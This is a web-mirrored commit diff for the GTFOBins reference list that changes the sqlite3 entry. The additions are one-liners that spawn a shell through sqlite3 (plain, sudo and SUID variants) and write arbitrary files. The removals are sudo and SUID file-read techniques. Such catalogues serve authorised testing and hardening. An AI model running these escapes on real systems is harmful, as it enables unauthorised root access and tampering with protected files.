mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add execute-interactive to sqlite3
This commit is contained in:
parent
323553f4b0
commit
b2a2dccc82
@ -1,21 +1,15 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
|
execute-interactive:
|
||||||
|
- code: sqlite3 /dev/null '.shell /bin/sh'
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
|
- code: sudo sqlite3 /dev/null '.shell /bin/sh'
|
||||||
|
suid-limited:
|
||||||
|
- code: ./sqlite3 /dev/null '.shell /bin/sh'
|
||||||
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_write
|
||||||
sudo sqlite3 << EOF
|
sqlite3 /dev/null -cmd ".output $LFILE" 'select "data";'
|
||||||
CREATE TABLE t(line TEXT);
|
|
||||||
.import $LFILE t
|
|
||||||
SELECT * FROM t;
|
|
||||||
EOF
|
|
||||||
suid-enabled:
|
|
||||||
- code: |
|
|
||||||
LFILE=file_to_read
|
|
||||||
./sqlite3 << EOF
|
|
||||||
CREATE TABLE t(line TEXT);
|
|
||||||
.import $LFILE t
|
|
||||||
SELECT * FROM t;
|
|
||||||
EOF
|
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
|
Loading…
Reference in New Issue
Block a user